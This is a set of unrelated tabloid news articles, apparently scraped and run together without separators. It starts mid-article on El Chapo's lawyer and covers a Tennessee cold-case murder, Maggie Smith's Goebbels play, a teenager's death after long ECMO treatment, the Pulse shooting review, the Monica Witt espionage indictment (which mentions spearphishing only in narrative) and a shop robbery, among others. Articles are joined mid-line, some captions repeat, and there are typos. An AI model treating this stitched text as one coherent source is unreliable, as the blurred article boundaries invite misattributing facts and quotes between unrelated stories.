So our position was, he was really a fall guy, said Lichtman. There is a guy in Mexico who leads the Sinaloa Cartel who has been indicted in America for decades. He's been indicted in Mexico. He has never been arrested in 50 years.

After learning his fate on Tuesday, Lichtman said Guzman remained buoyant and urged him to 'just keep fighting.'

'I'm not going to give up, you don't give up,' Lichtman quoted El Chapo as telling him after the verdict was read following six days of jury deliberations.

Guzman, 61, is expected to be sentenced to life in a maximum-security prison without the possibility of parole in June.

It is believed he will live out the rest of his days in ADX Florence, the only Supermax prison in the US, and will be denied virtually all communication with the outside world.

Lichtman said he and his colleagues plan to appeal the convictions, but he was skeptical it would work, given the copious amount of evidence brought forth by the prosecution.

In pointing out what he deemed as errors in the trial, Lichtman took particular umbrage at his being barred from questioning a cooperating witness, whom the attorney characterized as being out of his mind.'

One of the witnesses believed that the Earth was about to be destroyed in an apocalypse. He believed in 15-foot aliens roaming the Earth searching for gold. And I wasn't allowed to question him on any of that, he said.

When asked why he decided against putting Guzman on the witness stand, Lichtman explained that it was rear in a criminal trial, and that he deemed it a losing strategy, considering the amount of evidence the prosecution could have cross-examined him on.

Lichtman complained that he was not allowed to cross-examine and unhinged witness who, he claimed, believed in 15-foot aliens roaming the Earth in search of gold

'Cool cat': Lichtman defended calling the notoriously violent cocaine trafficker a 'cool cat' and a 'pleasure to represent,' saying Guzman was good to him

El Chapo was found guilty on Tuesday of drug trafficking, criminal enterprise and firearms offenses after a three-month trial in Brooklyn

Lichtman also defended calling the notoriously violent cocaine trafficker a 'cool cat' and a 'pleasure to represent,' but said that those attributes do not make Guzman a good person.

He was good to me, the lawyer noted. As a defense lawyer, if I start being concerned with what people are accused of and what theyre convicted of, Ill never be able to get out of bed in the morning.

Lichtman also reassured members of the jury, whose identities were kept secret during the trial for thier protection, that they have nothing to worry about.

How is he gonna go after them? the lawyer wondered aloud, referring to the jailed drug trafficker. He's in complete isolation.A Tennessee prosecutor says a tip led authorities to charge a suspect in a cold-case slaying that has mystified investigators for 46 years.

Max Benson Calhoun was indicted by a Monroe County grand jury this month for the first-degree murder of John Constant Jr. who was 43 when he died.

Calhoun was arrested last week in connection with the 1973 fatal shooting of Constant, who was found dead inside the cab of his tractor-trailer on March 16 of that year.

Prosecutors said they now know why Constant was killed, but couldn't reveal any more than that without risking compromising their case. They have not revealed Calhoun's involvement.

Calhoun's lawyer, Jim Logan, said he's eager to see some proof in the case.

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A Tennessee prosecutor says a tip led authorities to charge suspect Max Benson Calhoun in the cold-case murder of John Constant Jr., a case that has mystified investigators for 46 years. Calhoun is pictured in a booking photo provided by the Monroe County Sheriff

John Constant Jr. (pictured) had been a trucker who was suspected of running untaxed cigatrettes and stolen goods for criminals known across the Southeast as the 'Dixie Mafia.' He allegedly told his family he had begun keeping notes on such dealings and it's believed he may have been preparing to turn FBI informant

The tip came from a witness suffering from a terminal illness who did not know how much time was left to share the information, Prosecutor Stephen Crump said on Tuesday.

The only known eye witness to Constant's killing, and the person who is believed to have pulled the trigger, have been dead for decades.

Constant had been a trucker who was suspected of running untaxed cigatrettes and stolen goods for criminals known across the Southeast as the 'Dixie Mafia.'

He allegedly told his family he had begun keeping notes on such dealings and it's believed he may have been preparing to turn FBI informant.

Constant's body was found by investigators 46 years ago, slumped in the cab of his Peterbilt tractor-trailer in Vonore, Tennessee.

'He wasn't a sterling character by any means, but he didn't deserve to die,' Richard Fisher, who was district attorney general at the time of Constant's death, said.

'You never know when you start walking on that dark side where it's going to take you.'

Prosecutor Stephen Crump (center) said they now know why Constant was killed, but couldn't reveal any more than that without risking compromising their case

He'd been shot at least 17 times by a high-powered rifle, and gunshots holes peppered the cab, which was found at a muddy riverbank of what's now called Tellico Lake.

'It was probably a submachine gun. They made sure he was dead,' Fisher said, adding that he's always believed 'several' people were involved in the murder.

'I don't know how you measure cases, but I certainly spent more time on that case than on any in my career.'

At the time, Tennessee Governor Winfield Dunn approved a $2,000 reward for tips in the case, and a Tennessee Bureau of Investigation 'special strike force' chased down over 150 leads in just one week following Constant's killing, but nothing panned out.

Ironically, the last arrest made in the case was also based on the words of a dying witness, Knox News reported.

Harold Buckner, now 77, was arrested in 1982 but ending up walking away from the charges when a video of the testimony related to him was played in court, and didn't hold up the allegations against him.

Cancer-stricken SL Poteet from Minn County testified on video from a hospital bed that known hitman Marvin Ray Pittman, alias 'Big John' Giorgiani, pulled the trigger that killed Constant at a self-serve car wash, where Poteet had been cleaning his own vehicle.

That car wash is located about 25 miles south of the riverbank where Constant was found, on US 411 in Etowah.

Cancer-stricken SL Poteet from Minn County testified on video from a hospital bed that known hitman Marvin Ray Pittman, alias 'Big John' Giorgiani (who is dead), pulled the trigger that killed Constant at a self-serve car wash, where Poteet had been cleaning his own vehicle. That car wash (shown) is located about 25 miles south of the riverbank where Constant was found, on US 411 in Etowah. Poteet died shortly thereafter. Now, Calhoun's arrest is also due to a tip from an information who is near death

In the video, Poteet said another man in the tractor-trailor cab had brown hair, like Buckner, but not more than that.

'I was set up,' Buckner, who had run unsuccessfully for Sheriff of a neighboring town earlier during the year he was arrested, said on Tuesday.

'I never was even questioned until after I was arrested,' he added.

'They said they had nine witnesses. There were no witnesses. I didn't know John Constant. They asked me where I was that night. I said it was nine years ago, I don't remember.

'It was all based on lies, and if this one goes to court, I'll get up there and tell it all.'

The unsolved case has spanned generations, and been touched by the same members of the East Tennessee town in multiple roles over the years.

Retired Judge Steve Bebb, who signed the order dismissing charges against Buckner 10 years after the slaying, was present at the crime scene as a young assistant prosecutor in 1973.

'I remember the night, and I remember going down there,' Bebb said.

'I heard the rumors all through the years and talked to several people who claimed to know what happened. I share the hope they got whoever is guilty, but I worry it's going to be just another wild-goose chase.'

The prosecutor wouldn't identify this latest witness to come forward, or give any details about the tip.

The case is currently being worked by a five-person task force, Crump told ABC's WATE on Tuesday.

Calhoun remains in custody at this time, without bond.Dame Maggie Smith will return to the stage to star as Joseph Goebbels' secretary

Dame Maggie Smith is set to return to the stage after more than a decade to star in a one-woman play about Joseph Goebbels' secretary.

The Oscar-winning actress will play Brunhilde Pomsel, who worked for the Nazi propaganda minister until his death.

It will be the 84-year-old Downton Abbey star's first time treading the boards in 12 years.

The new play, A German Life by Christopher Hampton, has been drawn from Pomsel's life and her testimony, given shortly before she died aged 106 in 2017.

It will be staged at the Bridge Theatre in London later this year.

Pomsel insisted that she 'knew nothing', despite being at the centre of the Nazis' propaganda machine.

Brunhilde Pomsel insisted that she 'knew nothing', despite being at the centre of the Nazis' propaganda machine

'I know no-one ever believes us nowadays - everyone thinks we knew everything,' she told The Guardian, describing her work as 'just another job'.

Speaking in the documentary A German Life, she said she felt no guilt 'unless you end up blaming the entire German population'.

'Brunhilde Pomsel's life spanned the 20th century,' producers said.

'She struggled to make ends meet as a secretary in Berlin during the 1930s, her many employers including a Jewish insurance broker, the German Broadcasting Corporation and, eventually, Joseph Goebbels.

'Christopher Hampton's play is drawn from the testimony Pomsel gave when she finally broke her silence, shortly before she died, to a group of Austrian filmmakers, and from their documentary A German Life.'

Dame Maggie will be alone on stage for the entire production, directed by Jonathan Kent.

She was last on stage in The Lady From Dubuque in 2007.

Goebbels (right) with his wife and children and Hitler, who Pomsel described as 'The Boss'

Who was Brunhilde Pomsel? Brunhilde Pomsel worked Joseph Goebbels but denied any knowledge of what was going on in the Nazi party Born in 1911, Brunhilde Pomsel left school in 1926 and started an apprenticeship with a Jewish wholesale manufacturer. But as the Great Depression hit Germany - leading to the rise of the Nazis - she became unemployed, before getting a job as a shorthand secretary for Jewish insurance broker Dr Hugo Goldberg. Dr Goldberg, like many Jews, fled Germany after Hitler gained power in 1933 so Pomsel began working for author Wulf Bley, who was closely connected to the Nazi Party. She used these connections to get a job with the German Broadcasting Station radio channel and joined the Nazi party. Joseph Goebbels spent much of his time at the radio station making speeches, and offered her a job as his assistant. Thrilled to be working with the second most important person in the Third Reich, she jumped at the opportunity. But she insisted that she was not aware of the 'Final Solution' - the extermination of millions of Jews in death camps in Germany, Austria and German-occupied Poland - until after the war and said Goebbels 'must have kept correspondence about it away from her sight.' She was inside the Fuhrer's bunker in Berlin in May 1945 when he shot himself as the Red Army closed in on his lair. After the war Pomsel was captured by Soviet troops and jailed for five years. Astonishingly, after being released from prison in 1950, she went back to working in broadcasting in democratic West Germany until her eventual retirement in 1971. She is not thought to have married or had children. It was only in 2011 that she re-emerged, when a German newspaper published an interview with her and sparking a flurry of interest in the last surviving members of the Nazi leadership's inner circle. In a documentary Pomsel talked about her three years working for the man responsible for spreading Hitler's poisonous ideology in newspapers and across the airwaves. She said: 'I wouldn't see myself as being guilty. Unless you end up blaming the entire German population for ultimately enabling that government to take control. That was all of us. Including me.' Pomsel described in the film how she was told to keep the Nazi top brass supplied with alcohol 'in order to retain the numbness' and stave off the reality of their imminent defeat by the hated Russians. Advertisement

In 2011, Brunhilde Pomsel broke a 66-year vow of silence about the Nazi regime when she gave an interview to popular German newspaper Bild. Her revelations about the Nazi power circle's last moments shocked the world.

She revealed that even after a lifetime of service, Goebbels barely acknowledged her: 'You couldn't get close to him,' she said. 'He never once asked me a personal question. Right up until the end I don't think he knew my name'.

Pomsel spent the last 10 days of the Third Reich in the cellars of the propaganda ministry as Russian artillery and American bombers flattened her surroundings.

She continued to pump out orders from Goebbels until the very last minute - when Goebbels shot his wife then himself.

Immediately before the murder-suicide, Goebbels and his wife killed their six young children by breaking cyanide vials into their mouth.

Aides were ordered to pour petrol on the corpses of the dead generals - but the remains were only partially burned, and later found by the Red Army.

On May 1 1945, shortly after 'The Boss' - Hitler - committed suicide, the Russians came into the bunker and 'dragged' Pomsel out. She spent the next five years as a prisoner of the Russians in special camps.A Kansas teenager who miraculously walked in hospital while she was attached to an invasive life support machine has died just two weeks after returning home.

Zei Uwadia, 17, spent for 457 days in the Children's Mercy hospital in Kansas City after suffering a mystery lung illness.

The teenager, who spent more than a year defying medical expectations for her recovery, was finally able to return to her family home in Wichita at the end of January.

Zei tragically died on Monday night.

'Zei won her battle with the universe tonight at 7.54pm, at home, in her bed, in my arms,' her mother Brie Kerschen posted on Facebook.

Zei Uwadia, 17, died at her home in Wichita, Kansas on Monday after spending 457 days in hospital after suffering a mystery lung illness. She is pictured at home two weeks ago

'On behalf of the countless doctors, nurses and staff who cared for Zei and were inspired daily by her fighting spirit, all of us at Children's Mercy were heartbroken to learn of her passing,' the hospital said in a statement.

'Our thoughts are with her family and friends and everyone who loved her.'

The teenager made headlines last year after becoming the first patient at the hospital to walk around while still tethered to a breathing machine known as the 'highest form of life support'.

Zei, pictured on January 31 when she left the hospital, was excited to be returning home and had planned to finish high school through a home school program before she passed on Monday

Zei was put on the extracorporeal membrane oxygenation (ECMO) machine in November 2017 when her lungs first started to fail and she was left gasping for air.

Doctors were never able to determine what caused the teenager's medical condition.

Zei required around the clock care because the ECMO machine bypassed her lungs by removing her blood, oxygenating it and then pumping it back into her body.

The average time a patient spends on ECMO is about 21 days. Zei was hooked up to the machine for 190 days.

Zei started gaining her strength back just months after being hospitalized and was able to sit up and eventually stand on her own.

She made a bet with one of her doctors that if she could manage to stand on her own for five minutes, they had to find a way for her to walk around.

The determined teenager managed to stand for a full seven minutes.

Soon after, she was filmed taking her first steps through the hospital corridors with the huge ECMO machine - basically her artificial lung - trailing behind her.

Zei continued to strengthen and was often spotted walking the hallways, visiting the chapel and eventually exercising with weights.

Her mother Brie Kerschen shared this photo of Zei with her young siblings to reveal that she had died on Monday night surrounded by her family

Zei left the hospital and returned home on January 31 - a day before her 17th birthday - to cheers from her high school friends and medical staff

The teenager made headlines last year after becoming the first patient at the hospital to walk around while still tethered to a breathing machine known as the 'highest form of life support' (pictured above)

After more than 18 months in hospital, Zei made it clear she wanted to return home.

She had already celebrated her 16th birthday in the hospital and missed multiple holidays at home with her family. Zei also had to celebrate her first prom at the hospital.

The teenager was excited to be returning home and had planned to finish high school through a home school program.

'Trapped in these exact hospital walls 2 years ago at 15 clinging to my life, fighting for my breath and knowing it was doubtful that I would even wake up the next day, still I fought and relied on a machine to 'live' for me,' Zei wrote on Facebook just days before leaving the hospital.

'I grew too weak to fight without life support but I didn't give up and I'm happy and proud to say I fought the next 400 and some days with the same end goal and I've finally reached it; to be home with my loved ones.

'I cannot wait for these first steps outside these walls.

'I would never wish my experience upon anybody but I'm glad I got the chance to feel real pain and fear and have life put into a whole new perspective. Definitely coming out a whole new person than I was prior and this is just a small part of my story.'

The teenager was excited to be returning home and took to Facebook just days before being released from the hospital saying she was coming out a 'whole new person'

Zei spent more than a year defying medical expectations for her recovery and was eventually able to walk around and exercise with the help of machines. She is pictured on the right with her mother Brie Kerschen

After more than 18 months in hospital, Zei made it clear she wanted to return home. The teen is pictured above with her mother and the various hospital staff who cared for her

Zei left the hospital and returned home on January 31 - a day before her 17th birthday - to cheers from her high school friends and medical staff.

When back at home, Zei had a tube in her neck to help her breathe and she was still hooked up to an oxygen machine.

Her recovery at home was harder than she expected, her mother said in a Facebook post just two days before she died.

'Bringing Zei home from the ICU has proven to be both the most profound and challenging experience I have ever faced,' she said.

'We are grateful and grieving as this is not the home she dreamed of returning to 6 months ago, off ECMO.

'Zei is surviving but not yet thriving. We are trying to find balance between pushing and patience.'

A GoFundMe page set up for Zei before she died said funeral arrangements were being made and a service was likely to be held next week.The police officers who fired more than 180 shots at the Pulse nightclub shooter have been cleared of any wrongdoing more than two and half years after the massacre.

A final report by the Orange-Osceola State Attorney's Office has found the 14 cops who fired shots at the Florida gay bar in June 2016 did not hit or wound any civilians.

Aramis Ayala said officers' actions were 'reasonable and justifiable' and only gunman Omar Mateen was wounded and killed by the shots.

She said: 'No casualties were the result of friendly fire and my review is now complete.'

The lengthy investigation found that 11 officers from the Orlando Police Department and three from the Orange County Sheriff's Office fired at Mateen over five separate incidents during the more than three hours that he was inside the Orlando club.

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A prosecutor says no clubgoers were hit by responding officers' bullets and each time responding officers fired their weapons was reasonable and justified

The prosecutor's office concluded that responding officers and deputies engaged with gunman Omar Mateen five separate times during the more than three hours

State Attorney Aramis Ayalam, left, released her office's findings Wednesday after a lengthy investigation. Omar Mateen, right, was killed during an exchange of gunfire with police

One incident is said to have involved officer Adam Gruler who was working security at the club when the shooting began.

Two officers are also said to have fired towards a civilian who didn't respond to commands but he was not killed.

When Mateen emerged from a hall and began firing, 13 officers shot 172 rounds and he was hit seven times. None hit civilians.

The last shot was fired at Mateen's body as he had a gun within reach of his hand and appeared to have an explosive device on him.

All 14 now have clearance letters from State Attorney Ayala, 10 News WTSP reports.

She added: 'As our city grieves the senseless tragedy of the Pulse nightclub shooting, I hope sharing the results of this investigation help the survivors and loved ones find some closure.

While there is no way to take away the pain and the devastation that has been imparted upon our community, it is my hope that sharing the results of this investigation will help survivors and the loved ones find closure and answer any questions. They do deserve to have answers.'

A final report by the Orange-Osceola State Attorney's Office has found the 14 cops who fired shots at the Florida gay bar in June 2016 did not hit or wound any civilians

An FBI agents investigate the damaged rear wall of the club in the days after the shooting

An aerial view of the mass shooting scene at Pulse nightclub in June 2016

The massacre killed 49 people and injured 53 and was the deadliest shooting on US soil in history until Stephen Paddock opened fire in Las Vegas in October 2017.

Gunman Mateen fired at least 186 rounds from his rifle, which then jammed, and 22 from his handgun. Chief Assistant State Attorney Deborah Barra said: 'That is significant because that actually saved lives.'

They looked at more than 350 witness statements, 911 calls and video and reports in coming to their decision.

Dozens of other clubgoers were wounded during the massacre but lived. None of them was hit by law enforcement bullets.

Orange County Sheriff John Mina, who was Orlando's police chief at the time of the massacre, said officers were relieved by the prosecutor's findings.

'I'm relieved for the officers and deputies, the brave men and women who went inside there and risked their own lives,' Mina said. 'They now have final closure and relief that they weren't responsible for the death of any victim.'

The 49 victims of the Pulse nightclub shooting after Omar Mateen opened fire in June 2016

Orange circuit Chief Assistant State Attorney Deborah Barra describes the actions of the shooter in the 2016 Pulse nightclub massacre, during a briefing Wednesday

The FBI said earlier this year it is no longer conducting interviews or analyzing evidence, Click Orlando reports.

Mateen was killed during an exchange of gunfire with SWAT team members.

His wife was acquitted last year of aiding and abetting him and lying to FBI agents during a federal trial.(ANSA) - Rome, February 13 - The Netherlands asked Italy Wednesday to keep the Sea Watch NGO migrant rescue ship in the port of Catania where it has been since offloading 47 migrants after a standoff with the EU on January 31.

The request came after an inspection on board the German NGO-run, Dutch-flagged ship on February 11-12.

The request was made to the Italian Coast Guard "pending the conclusion of Dutch authorities' further investigation into the compliance of the ship with norms in force, with reference to the suitability to transport a high number of people for long periods of time".

A factory worker who claimed he would be unable to work for 10 years after an injury has been jailed after he was spotted behind the counter of a fish and chip shop.

Amar Masud, 44, slipped a disc in his spine as he lifted a heavy table at the furniture factory he worked at in 2013.

He quit his job and went on to sue his employers for 250,000 claiming he would be out of work 'for at least 10 years'.

But when investigators followed him they saw him working at a fish and chip shop near his home in High Wycombe, Buckinghamshire and his case was thrown out.

Masud was arrested on suspicion of contempt of court and after being found guilty was today sentenced to a year and four months in prison.

Amar Masud, 44 (pictured) has been jailed for contempt of court after he claimed he would be out of work for 10 years due to a work injury and was spotted doing shifts at a fish and chip shop

The original case at London's High Court heard Masud's accident, which left him genuinely injured, happened at work in 2013.

But his contempt hearing was told he exaggerated the effects of his injury, claiming he was unable to earn a living and had been left badly disabled.

He was filmed driving in 2014 and working in 2015 - despite claiming he was unable to do either activity.

Sentencing him in his absence today, Judge Peter Blair QC said: 'In his statement of truth he says, 'I cannot think of what work I will be able to do in future if, as seems to be the case, my current symptoms remain'.

'During the course of surveillance, he was seen working behind the counter of a food takeaway shop.

'I am completely satisfied that his answer in the statement of truth is completely false and that he lied to the court.

'It is plain that he walked and moved around without difficulty. He is seen to crouch down on his haunches, bend down and lean over doing washing up and move with apparent ease, which is utterly at odds with his demeanour whenever examined by a consultant at hospital.'

Masud had also sworn he was 'unlikely to be able to work in the 10 years following the accident', said the judge, adding: 'That was another lie, proved by the surveillance observation of him.'

When investigators followed Masud they saw him working at a fish and chip shop near his home in High Wycombe, Buckinghamshire (pictured) and his case was thrown out

The judge said Masud had suffered a genuine injury but exaggerated its effect on his ability to work.

He added: 'He feigns his disability when he thinks he is, or might be, observed.

'When he doesn't think he is observed, he has really quite a good range of movement. He was making up a large part of his disability.

'He said in his statement of truth: 'I do not drive my car anymore because of my injuries.

'I have no hesitation whatsoever in coming to the conclusion that this defendant deliberately lied to the court for financial gain and has not put forward any explanation or apology for it.

'I have come to the conclusion that I should commit him to prison. It is not in my view appropriate to suspend such an order.

'I commit him to custody for a period of 16 months, as a result of his proved contempt of court.'Los Angeles is to become America's biggest city to ban fur sales, after vociferous protests from animal rights activists and vegans for years.

The city council passed legislation on Tuesday to bring a ban on the trade of fur into effect in 2021.

Coats, handbags and scarves once considered the height of Hollywood fashion will no longer be allowed within the city limits.

Activists attend a news conference in support of their motion to ban the sale of fur products within Los Angeles city limits in September outside City Hall

One exception will be furs sold in second-hand stores, the LA Times reported.

In addition furs involved in taxidermy or those taken under a trapping licence would not be affected by the ban.

According to the Times, council member Paul Koretz said, 'animal cruelty is animal cruelty, and if we lose a few jobs, thats life.'

PETA heralded the move last year, saying: 'This decision will spare countless animals the horror of being beaten, electrocuted, and skinned alive for environmentally toxic itemsitems that compassionate shoppers dont want and top designers wont use.'

An anti-fur protester in November last year in LA holding a sign which says: 'Only cute little animals like me should wear fur. Don't buy fur!'

Supporters of the ban as well as PETA leaders gathered outside City Hall ahead of the vote initially going before the council in September.

A number of Hollywood stars including Maggie Q, Joanna Krupa, Jayde Nicole, Tony Kanal, and Cornelia Guest joined the rally of activists.

Many others including Mena Suvari and Donna D'Errico have protested on the streets of LA in recent years.

However, those in the fur industry believe they are being smeared by an inaccurate representation of fur farms.

The International Fur Federation say that their industry is sustainable and promotes a green vision for the future.

The pro-fur group has accused Gucci - who said they would go fur free - of being fooled by anti-fur groups.

Their CEO Mark Oaten said: 'Petrol-based fake plastic fur is extremely harmful to the environment, isnt biodegradable and negatively impacts wildlife.'

Los Angeles follows West Hollywood, Berkeley and San Francisco who have already imposed similar restrictions.Federal prosecutors have charged a former U.S. Air Force counterintelligence specialist with collaborating with Iran's Revolutionary Guard forces to spy on her former American colleagues.

Monica Elfriede Witt, 39, defected to Iran in 2013, and brought with her information about U.S. spy programs and the identities of people who took part in them.

A 27-page indictment  along with an online trail of writings by Witt that grow increasingly critical of the U.S. military  reveal how she went from an Air Force specialist and Middle East scholar and consultant to someone who defected to Iran and began bashing the U.S. military.

She is charged with conspiring to deliver as well as delivering national defense information to representatives of the Iranian government, a long-time adversary of Washington.

This 2013 photo released by the Department of Justice shows Monica Elfriede Witt. The Justice Department on Wednesday announced an indictment against Monica Elfriede Witt, who defected to Iran in 2013 and is currently at-large. (Department of Justice via AP)

According to an article published by the International Quran News Agency that quotes her, Witt underwent a transformation while serving in Iraq. It was there that she began studying the Koran, and ultimately started trashing the U.S. military and society in online posts.

'I was a Christian, though I was not a religious person and never went to church during my mission in Iraq, I decided to learn more about the people's beliefs and religion,' she said. 'I believed it would help me to better confront the enemy. I got a copy of the Quran and started reading it,' she is quoted as saying.

'Becoming Muslim and wearing Hijab used to be inconceivable for me, but the more I read the Quran, the stronger would be my resolve to embrace Islam,' she wrote, referencing headwear used by women in Iran.'

Witt spent years serving as a U.S. Air Force counterintelligence specialist

According to the article, Witt 'referred to the extensive propaganda against Iran and Islam in the US, saying that the American people are under the influence of the propaganda and that her relatives and friends were not happy with her becoming Muslim.'

According to the piece, 'Monica Witt also said that despite all the anti-Islam propaganda and Islamophobia, there is a growing trend of conversion to Islam and Shiism in the world.'

In an article published by Iranian PressTV, Witt complained of sexual harassment in the U.S. military.

'The majority of men simply do not take the idea of harassment seriously. They make comments about a womans appearance, or make generalized sexual remarks openly at work. Often times, they do not view these comments as inappropriate," she wrote.

'The boys club atmosphere is reinforced with a false belief that men are allowed to act inappropriately and that the command is condoning their behavior,' she wrote, according to the 2012 article, which both summarized and quoted from an article.

She penned a 2012 article in International Affairs Review at George Washington University, where she did graduate work, arguing that Tajikistan would not yield to U.S. pressure and cut ties to Iran over nuclear pressure from Washington.

She called it 'too large of a burden,' and noted longstanding ties.

An FBI Wanted poster contains images of Witt wearing a hijab as well as in military uniform

Meanwhile, her communications with an individual spelled out in the indictment reveal her desire to flee the U.S. and get asylum in Iran, Russia, or another country.

Along with four 'cyber coconspirators' in Iran, she sought to deploy malware and spearfishing campaigns 'that would provide them covert access to the targets' computers and networks,' according to prosecutors.

Both Witt and her four indicted coconspirators remain at large.

In one brash attempt to unearth U.S. government information, between January and May 2015, the conspirators used fake and impostor accounts in an attempt 'to trick their targets into clicking links or opening files that would allow the conspirators to deploy malware on the target's computer,' according to the indictment.

'In one such instance, the Cyber Conspirators created a Facebook account that purported to belong to a USIC employee and former colleague of Witt, and which utilized legitimate information and photos from the USIC employee's actual Facebook account,' according to the government.

The ploy worked. The fabricated account 'caused several of Witt's former colleagues to accept 'friend' requests' unwittingly.

This 2012 photo released by the Department of Justice shows Monica Elfriede Witt. The Justice Department on Wednesday announced an indictment against Monica Elfriede Witt, who defected to Iran in 2013 and is currently at-large. (Department of Justice via AP)

WANTED: An FBI 'missing person' notice says she was last believed to be in either Afghanistan or Tajikistan in July 2013, where she was working as an English teacher

According to her indictment, in 2012 she was warned she was a possible 'target for recruitment' by Iranian intelligence. She traveled to Iran to attend the New Horizon Organization's

She worked as an assistant on an anti-American film an appeared in videos criticizing the U.S. government.

The indictment cites communications between Witt and 'Individual A,' who at one point congratulated the Secretary of Defense, saying Witt was 'well trained.'

Witt responded she was trying to 'put the training I received to good use instead of evil,' adding a smiley face emoji.

Witt also wrote 'If all else fails, I may just go public with a program and do like Snowden,' in reference to NSA leaker Edward Snowden.

In June 2013, she wrote that she had gone to the Iranian embassy in Kabul and 'told all,' according to the indictment.

But amid some snags, she wrote: 'I just hope I have better luck with Russia at this point. I am starting to get frustrated at the Iranian level of suspicion.' She later wrote: 'I think I can slip into Russia if they help me quietly and then I can contact wikileaks from there without disclosing my location.'

In the weeks before she defected, she conducted searches on Facebook for names of former counterintelligence officials, and continued doing so after she defected in August 2013.

An FBI 'missing person' notice released Wednesday says she was last believed to be in either Afghanistan or Tajikistan in July 2013, where she was working as an English teacher.

The indictment says the four Iranians were acting on behalf of the government-linked Iranian Revolutionary Guard Corps.

'It is a sad day for American when one of its citizens betrays our country,' said Assistant Attorney General John Demers, the head of the Justice Department's national security division.

The timing of her activity, 2013 and 2014, appears to indicate she conducted her spying while secret talks were underway for what became the Iran nuclear deal, which was reached in 2014 under the Obama administration.

Her actions were a 'violation of the law, her solemn oath to protect and defend our country, and the bounds of human decency,' he said.

Jay Tabb, the FBI's top national security official, said the FBI had warned Witt before her defection that she was a vulnerable target for recruitment by Iranian intelligence but that Witt had ignored those warnings.

'Monica Witt is charged with revealing to the Iranian regime a highly classified intelligence program and the identity of a U.S. Intelligence Officer, all in violation of the law, her solemn oath to protect and defend our country, and the bounds of human decency,' said Demers in a statement sent out by the Justice Department.

'Four Iranian cyber hackers are also charged with various computer crimes targeting members of the U.S. intelligence community who were Ms. Witt's former colleagues.

He added: 'This case underscores the dangers to our intelligence professionals and the lengths our adversaries will go to identify them, expose them, target them, and, in a few rare cases, ultimately turn them against the nation they swore to protect. When our intelligence professionals are targeted or betrayed, the National Security Division will relentlessly pursue justice against the wrong-doers.'

An online Iraq Veterans Against the War page features a Monica Witt who says she worked with Air Force Office of Special Investigations. It says she provided support in Thumrait, Oman, and Irbil, Iraq.

'I served in the Air Force for 10 years and participated in both the Afghanistan and Iraq Wars. After viewing so much corruption and the damage we were doing both to Iraq/Afghanistan and to the perception of the U.S., I decided I needed to do as much as I could to help rectify the situation,' according to the page.

Treasury Secretary Steven Mnuchin announced that his agency is imposing sanctions on New Horizon, an anti-zionist organization that hosted Witt at a conference.

'New Horizon hosts international conferences that have provided Iranian intelligence officers a platform to recruit and collect damaging information from attendees, while propagating anti-Semitism and Holocaust denial,' said Mnuchin. 'We are also sanctioning an Iran-based company that has attempted to install malware to compromise the computers of U.S. personnel.'

According to an English-language version of the group's web page, 'The conferences' topics are as following: World and regional matters, Geopolitics (In both Middle East and Eurasia) , Muslims in Europe, Islamophobia, Iranophobia, Discriminations, US State hostility towards Afro-Americans, Zionist Lobby, 911, Israeli-Western decision makers centers (political, military, economic & cultural ones), US domestic & Foreign Policy, South-South cooperation etc.'This is the dramatic moment a diver jumps from an army helicopter and rescues a young girl who was dragged out to sea by a rip tide.

The girl was one of seven people who got into difficulty after ignoring lifeguards' warnings by going into the sea off the resort city of Concon in Chile.

Footage recorded by an army rescuer's headcam shows the girl in the rubber ring being dragged out to sea by the strong current as the helicopter comes to her rescue.

This is the dramatic moment a diver jumps from an army helicopter and rescues a young girl who was dragged out to sea by a rip ride

The girl was one of seven people who got into difficulty after ignoring lifeguards' warnings by going into the sea off the resort city of Concon in Chile

The helicopter flies just a few metres above the water as it lowers a line and a crew member into the sea to winch the girl to safety.

The girl is initially unable to grab the hand of her rescuer but the man eventually succeeds in attaching her to the line and she is carried over the waves and onto the beach.

Another six people were also rescued by lifeguards in the incident at the resort's La Boca beach, a popular surf spot because of its waves.

Four adults and three children went into the water, despite warnings of heavy seas, but then found they could not swim back to the safety of the beach.

Footage recorded by an army rescuer's headcam shows the girl in the rubber ring being dragged out to sea by the strong current as the helicopter comes to her rescue

The helicopter flies just a few metres above the water as it lowers a line and a crew member into the sea to winch the girl to safety. The girl is initially unable to grab the hand of her rescuer but the man eventually succeeds in attaching her to the line and she is carried over the waves and onto the beach

Lifeguards declared an emergency situation and called in the army, which is standard procedure, to send a helicopter to the scene.

All seven were successfully rescued and treated at the scene by paramedics before being taken to a local medical clinic to be checked over. None were seriously injured.

Daniel Gonzalez, head of the regional lifeguard service, said the incident came after warnings had been issued about heavy seas in the area.

He urged tourists to heed lifeguards' warnings and not put the lives of themselves, and others, at risk by going into the sea when it was not safe.This is the shocking moment a shopkeeper is faced by an armed raider who pulls out a gun during the pretense of trying to buy a can of energy drink.

Scott Cotier, 22, hands shopkeeper Jonathan Dunkin money to cover the cost of the drink. When Mr Dunkin opens the till to put in the money, the armed robber pulls out a gun and points it at his victim's face.

The incident, which was captured on CCTV, happened in Clacton on January 7 at 9.50pm.

This is the moment armed raider Scott Cotier, 22, pointed a gun at shop keeper Jonathan Dunkin in Clacton, Essex during a botched attempted armed robbery

Cotier warned Mr Dunkin that he would shoot him in the head if he did not give him cash

Mr Dunkin refused to panic during the raid on his store in Clacton on January 7

CCTV footage shows how Mr Dunkin, 67, reaches for the gun and pushes away the weapon from his face.

Cotier ran from the scene with a packet of cigarettes and was arrested a couple of days later.

Mr Dunkin suffered brain damage from loss of oxygen when he was a eight years old and one of the consequences is that he has no empathy emotions.

It means the impact of the shocking ordeal - where the gun's trigger was fired but nothing happened - has not hit home to him.

He said: 'I am fine about what happened in the shop, my customers have been more upset about it than me.

'People have seen the footage and they've had nightmares over it. I've never had a dream in my life so I don't know what a nightmare is.

'I was not scared when he pulled the gun on me. I'm not a hero but I was not afraid of being shot.'

Mr Dunkin, pictured, said he faces a constant battle with people trying to steal from his store

The imitation firearm was not recovered but Mr Dunkin believes it was a so-called 'ghost gun' - 3D firearms which can be printed at home and capable of firing real shots.

The weapon used in the raid on his shop has not been recovered.

Mr Dunkin, a divorced father-of-one, said takings are down by about a third in recent years, meaning he has to work seven days a week to try to make ends meet.

His High Street shop has 24 security cameras meaning that all angles are covered.

He said shoplifting happens on a daily basis and he's been held up at knifepoint previously.

'This job fills in these gaps for me. I can't walk far, but here I am my own boss and can make sure to have a sit down when I need to.

'Walk-out thefts are an almost daily occurrence.

'I deal with theft, attempted or actual, with the threat of force at least once a week. I must praise the police call handler, who stayed on the phone with me for 20 minutes while the armed response unit travelled to the shop from Chelmsford.'

